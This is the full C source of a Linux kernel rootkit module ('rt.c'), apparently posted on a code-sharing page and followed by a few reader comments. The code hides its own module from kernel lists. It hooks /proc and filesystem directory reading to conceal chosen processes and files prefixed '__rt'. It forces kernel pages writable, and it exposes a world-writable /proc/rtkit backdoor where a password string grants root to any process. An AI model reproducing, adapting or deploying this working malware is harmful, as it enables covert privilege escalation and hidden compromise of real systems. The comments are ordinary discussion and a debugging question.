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rt.c

#include <linux/init.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/fs.h>

//typesafe macro for getting minimum value
#define MIN(a,b) \
   ({ typeof (a) _a = (a); \
      typeof (b) _b = (b); \
     _a < _b ? _a : _b; })


//how much pids we want to hide
#define MAX_PIDS 50

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Arkadiusz Hiler<ivyl@sigillum.cc>");
MODULE_AUTHOR("Michal Winiarski<t3hkn0r@gmail.com>");

//STATIC VARIABLES SECTION
//we don't want to have it visible in kallsyms and have access to it all the time
//so it's static
static struct proc_dir_entry *proc_root;
static struct proc_dir_entry *proc_rtkit;

//here we store original version of readdirs functions
static int (*proc_readdir_orig)(struct file *, void *, filldir_t);
static int (*fs_readdir_orig)(struct file *, void *, filldir_t);

//here we store original versions of filldir functions
static filldir_t proc_filldir_orig;
static filldir_t fs_filldir_orig;

static struct file_operations *proc_fops;
static struct file_operations *fs_fops;

//to store kobject list places, used for revealing presence
static struct list_head *module_previous;
static struct list_head *module_kobj_previous;

//array used for hiding pids and it's position
static char pids_to_hide[MAX_PIDS][8];
static int current_pid = 0;

//some switches
static char hide_files = 1;
static char module_hidden = 0;

//place for printable status
static char module_status[1024];

//MODULE HELPERS
void module_hide(void) {
	if (module_hidden) return;
	//remove from modules list
	module_previous = THIS_MODULE->list.prev;
	list_del(&THIS_MODULE->list);
	//remove kobjects and store just in case
	module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
	kobject_del(&THIS_MODULE->mkobj.kobj);
	list_del(&THIS_MODULE->mkobj.kobj.entry);
	module_hidden = !module_hidden;
}
 
void module_show(void) {
	int result;
	if (!module_hidden) return;
	//readding module
	list_add(&THIS_MODULE->list, module_previous);
	//restoring kobject to it's original place
	result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt");
	module_hidden = !module_hidden;
}

//PAGE RW HELPERS
static void set_addr_rw(void *addr) {
	unsigned int level;
	//get page in which given addres resides
	pte_t *pte = lookup_address((unsigned long) addr, &level);
	//set page RW
	if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
}

static void set_addr_ro(void *addr) {
	//as above but unset
	unsigned int level;
	pte_t *pte = lookup_address((unsigned long) addr, &level);
	pte->pte = pte->pte &~_PAGE_RW;
}

//CALLBACK SECTION
//new methods which wraps originals
static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, 
u64 ino, unsigned d_type) {
	int i;
	for (i=0; i < current_pid; i++) {
		//if matches any hidden pid don't show
		if (!strcmp(name, pids_to_hide[i])) return 0;
	}
	//hide also our own entry
	if (!strcmp(name, "rtkit")) return 0;
	//invoke original
	return proc_filldir_orig(buf, name, namelen, offset, ino, d_type); 
}

static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) {
	proc_filldir_orig = filldir; //stor original filldir
	return proc_readdir_orig(filp, dirent, proc_filldir_new); //pass our wrapper
}

static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino,
unsigned d_type) {
	//hide if matches
	if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) return 0;
	return fs_filldir_orig(buf, name, namelen, offset, ino, d_type); //invoking original version
}

static int fs_readdir_new(struct file *filp, void *dirent, filldir_t filldir) {
	//analogus to proc version
	fs_filldir_orig = filldir;
	return fs_readdir_orig(filp, dirent, fs_filldir_new);
}

//function used when reading /proc/rtkit
static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count,
int *eof, void *data) {
	int size;

	//generate nice output
	sprintf(module_status, 
"RTKIT\n\
DESC:\n\
  hides files prefixed with __rt or 10-__rt and gives root\n\
CMNDS:\n\
  mypenislong - uid and gid 0 for writing process\n\
  hpXXXX - hides proc with id XXXX\n\
  up - unhides last process\n\
  thf - toogles file hiding\n\
  mh - module hide\n\
  ms - module show\n\
STATUS\n\
  fshide: %d\n\
  pids_hidden: %d\n\
  module_hidden: %d\n", hide_files, current_pid, module_hidden);

	size = strlen(module_status);

	//handling pagers, output is quite small, but who know
	//just start at given offset
	if (off >= size) return 0; //exceeds? nothing to return
  
	if (count >= size-off) {
		memcpy(buffer, module_status+off, size-off);
	} else {
		memcpy(buffer, module_status+off, count);
	}
  
	return size-off;
}

//this is invoked when someone writes to /proc/rtkit
static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) {
	//just compares input to secret words, uses strncmp in safe maner
	//my pen is long is the secret passwort to get root
	if (!strncmp(buff, "mypenislong", MIN(11, count))) { //changes to root
		struct cred *credentials = prepare_creds();
		credentials->uid = credentials->euid = 0;
		credentials->gid = credentials->egid = 0;
		commit_creds(credentials);
	} else if (!strncmp(buff, "hp", MIN(2, count))) {//upXXXXXX hides process with given id
		if (current_pid < MAX_PIDS) strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2));
	} else if (!strncmp(buff, "up", MIN(2, count))) {//unhides last hidden process
		if (current_pid > 0) current_pid--;
	} else if (!strncmp(buff, "thf", MIN(3, count))) {//toggles hide files in fs
		hide_files = !hide_files;
	} else if (!strncmp(buff, "mh", MIN(2, count))) {//module hide
		module_hide();
	} else if (!strncmp(buff, "ms", MIN(2, count))) {//module hide
		module_show();
	}
	
        return count;
}

//INITIALIZING/CLEANING HELPER METHODS SECTION
//those null checks are for sanity
//if something failed than nothing is done
static void procfs_clean(void) {
	if (proc_rtkit != NULL) {
		remove_proc_entry("rtkit", NULL);
		proc_rtkit = NULL;
	}
	if (proc_fops != NULL && proc_readdir_orig != NULL) {
		//restore original reddir
		set_addr_rw(proc_fops);
		proc_fops->readdir = proc_readdir_orig;
		set_addr_ro(proc_fops);
	}
}
	
static void fs_clean(void) {
	if (fs_fops != NULL && fs_readdir_orig != NULL) {
		//restore original reddir
		set_addr_rw(fs_fops);
		fs_fops->readdir = fs_readdir_orig;
		set_addr_ro(fs_fops);
	}
}

static int __init procfs_init(void) {
	//new entry in proc root with 666 rights
	proc_rtkit = create_proc_entry("rtkit", 0666, NULL);
	if (proc_rtkit == NULL) return 0;
	proc_root = proc_rtkit->parent;
	if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) {
		return 0;
	}
	proc_rtkit->read_proc = rtkit_read;
	proc_rtkit->write_proc = rtkit_write;
	
	//substitute proc readdir to our wersion (using page mode change)
	proc_fops = ((struct file_operations *) proc_root->proc_fops);
	proc_readdir_orig = proc_fops->readdir;
	set_addr_rw(proc_fops);
	proc_fops->readdir = proc_readdir_new;
	set_addr_ro(proc_fops);
	
	return 1;
}

static int __init fs_init(void) {
	struct file *etc_filp;
	
	//get file_operations of /etc
	etc_filp = filp_open("/etc", O_RDONLY, 0);
	if (etc_filp == NULL) return 0;
	fs_fops = (struct file_operations *) etc_filp->f_op;
	filp_close(etc_filp, NULL);
	
	//substitute readdir of fs on which /etc is
	fs_readdir_orig = fs_fops->readdir;
	set_addr_rw(fs_fops);
	fs_fops->readdir = fs_readdir_new;
	set_addr_ro(fs_fops);
	
	return 1;
}


//MODULE INIT/EXIT
static int __init rootkit_init(void) {
	if (!procfs_init() || !fs_init()) {
		procfs_clean();
		fs_clean();
		return 1;
	}
	module_hide();
	
	return 0;
}

static void __exit rootkit_exit(void) {
	procfs_clean();
	fs_clean();
}

module_init(rootkit_init);
module_exit(rootkit_exit);

Hello,I have some question want to ask you ,can you help me?

It is quite easy to detect this rootkit. However this is a nice job for less then 300 LOC.
Also the commands for letting the rootkit do things, come-on..

Line 73 is apparently not enough to unhide the module from /sys/modules. The following error is coming up:
libkmod: ERROR ../libkmod/libkmod-module.c:1802 kmod_module_get_holders: could not open '/sys/module/rt/holders': No such file or directory
Do you know how this can be fixed?